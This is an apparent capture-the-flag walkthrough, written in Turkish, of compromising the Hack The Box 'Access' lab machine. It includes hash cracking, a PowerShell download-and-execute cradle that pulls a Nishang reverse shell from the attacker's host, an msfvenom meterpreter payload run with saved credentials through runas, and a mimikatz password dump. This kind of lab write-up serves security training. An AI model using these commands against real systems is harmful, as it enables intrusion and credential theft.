Bugün HTB Access makinesinin çözümünü sizlerler paylaşacağım. Access makinesi “low” seviye gelen bir makinedir. Başlayalım.
İlk olarak sistem üzerinde açık olan portların tespitini yapmak için nmap taraması gerçekleştiriyorum.
nmap -Pn -n -sC -sV 10.10.10.98 -oN access.nmap
- -Pn → Tüm ana bilgisayarlara çevrimiçi davranın — ana makine keşfini atlayın.
- -n → DNS çözümlemesi yapma.
- -sC → default scriptleri çalıştır.
- -sV → Portlar üzerinde çalışan servis ve versiyon hakkında bilgi verir.
- -oN → nmap formatında çıktıyı “access.nmap” adında dosyaya kaydeder.
Tarama sonucunda 21,23,80 portlarının açık olduğunu tespit ediyorum. FTP servisine anonim giriş gerçekleştirilebiliyor. Giriş yapıp içerisinde bir dosya vb. işime yarayacak bir belge var mı diye bakıyorum.
ftp 10.10.10.98
--> name: anonymous pass: <boş>
İçeride “Backups” ve “Engineer” adında 2 tane dizin ve dizinlerin içerisinde “backup.mdb” ve “Access Control.zip” adında 2 tane belge ile karşılaştım. Bu belgeleri kendi sistemime indiriyorum.
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98
İndirdiğim dosyalar “10.10.10.98” isimli bir klasörün içine kaydedildi.
/10.10.10.98/Engineer içerisindeki “Access Control.zip” dosyasını “unzip” ile açmaya çalıştığımda hata mesajı ile karşılaştım.
Ben de alternatif olarak 7z kullandım. Bu seferde benden zip dosyasını açmak için şifre istedi.
Şifreyi “access” olarak salladım ve tutmadı. Ben de bu zip dosyası hakkında daha fazla bilgi edinmek istiyorum.
AES-256 ile şifrelenmiş olduğunu görüyorum. zip2john komutu ile dosyanın hash ini alıyorum.
Hashi kırmak için rock.you ile kaba kuvvet saldırısı gerçekleştirdim ancak olmadı. Bende odağımı değiştirdim. Backups içerisindeki “backup.mdb” dosyasını incelemeye başladım. “backup.mdb” nin Microsoft Access Database dosyası olduğunu gördüm.
strings backup.mdb
ile dosya içerisindeki stringleri arattım. Çok fazla gereksiz daha geldiği için;
strings -n 10 backup.mdb
komutunu kullandım. Yani 10 karakterden az olan stringleri getirmiyor. Fazla mantıklı stringler olmasada bunları kaydedip yine kaba kuvvet saldırısı olarak deneyeyeceğim.
strings -n 10 backup.mdb | grep sort -u > denemeler
ile elde ettiğim çıktıyı "denemeler" adında bir dosya içine yazıyorum. Komut içerisinde bulunan "grep sort -u" komutu ile tekrar eden verilerden kurtuluyorum.
“denemeler” içerisinde bulunan çıktılarla tekrar bir kaba kuvvet saldırısı gerçekleştiriyorum ve “access4u@security” ile hashi kırabildiğimi görüyorum :).
john access.hash --wordlist=../Backups/denemeler
Elde ettiğim şifre ile zipi açıyorum.
Zip açıldı ve bana “Access Control.pst” adında bir Microsoft Outlook email folder dosyası verdi.
Dosyayı okuduğumda ilk giriş için gerekli olan bilgileri elde etmiş oluyorum.
security:4Cc3ssC0ntr0ller
cat 'Access Control.pst'
Daha önce gerçekleştirdiğim port taramsında telnet portunun açık olduğunu zaten biliyorum. Elde ettiğim giriş bilgilerini orada deniyorum ve içeriye giriş sağlıyorum.
telnet 10.10.10.98.
-- login: security password: 4Cc3ssC0ntr0ller
Elde ettiğimiz shell açıkcası çok kötü ve işlevsiz bir shell. Nishang kullanarak daha güzel bir shell e geçicem.
Yukarıdaki bağlantıdan indirebilirsiniz.
Nishang içerisindeki “Invoke-PowershellTcp.ps1” dosyasının en aşağısına bağlantı bilgilerimi giriyorum. (LHOST, LPORT bilgileri) Dosyayı “nishang.ps1” adı ile test yaptığım klasörün altına kopyalıyorum.
Bulunduğum dizini bağlantılara açık hale getiriyorum.
python -m SimpleHTTPServer 8000
Sonra;
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.21:8000/nishang.ps1')"
komutu ile dosyayı çağıyorum.
Dosya otomatik çalışacağı için; nc -lvnp 4455
komutu ile bağlantı kuracağım portu dinlemeye alıyorum.
Portuma bağlantı geldi. Buradan “user.txt” okuyabilirsiniz.
Hak yükseltmek için öncelikle bulunduğun sistemi taraması için “JAWS” indiricem.
Yukarıdaki bağlantıdan indirebilirsiniz.
Aynı şekilde “jaws-enum.ps1” dosyasını da sisteme yüklüyorum ve incelemeye başlıyorum. “Stored Credentials’ da administrator’ a ait bilgiler olduğunu görüyorum.”
Şimdi msfvenom ile bir zararlı exe oluşturup. Bu exe’ yi administrator hakları ile çalıştırıp yetki yükseltmeye çalışıcam.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.21 LPORT=12345 -f exe > shell.exe
Dosyayı aynı şekilde sisteme yüklüyorum.
msfconsole açıp “exploit/multi/handler” ile dinleme başlatıyorum. Payloadı exe’ de kullandığım payload olarak seçiyorum. LPORT ve LHOST ayarlarımıda güncelliyorum. Kısaca;
set PAYLOAD windows/x64/meterpreter/reverse_tcp
SET LHOST 10.10.14.21
SET LPORT 12345
Sonrasında;
runas /savecred /noprofile /user:ACCESS\Administrator shell.exe
komutu ile dosyayı çalıştırıyorum.
Bağlantı kuruyorum. Aşağıdaki ekran görüntüsünde de görüldüğü üzere Administrator olarak bağlantı kurduk.
getsystem
komutu ile NT AUTHORITY\SYSTEM haklarına yükseldik.
Bundan sonra “root.txt” dosyasını okuyabilirsiniz. Ancak okuyamazsanız;
meterpreter içerisinde “load mimikatz” ile Mimikatz yükleyebilirsiniz. Help yazarak mimikatz komutlarını görüntüleyebilirsiniz.
wdigest komutu ile sistemde bulunan şifreleri ele geçirebilirsiniz. Aşağıdaki ekran görüntüsünde de görüldüğü üzere sistem üzerinde bulunan “security” ve “Administrator” kullanıcılarına ait şifreler açık metin halinde görüntülenebiliyor.
Elde ettiğiniz Administrator kullanıcısına ait şifre ile telnet bağlantısı kurabilirsiniz.
Okuduğunuz için teşekkür ederim :).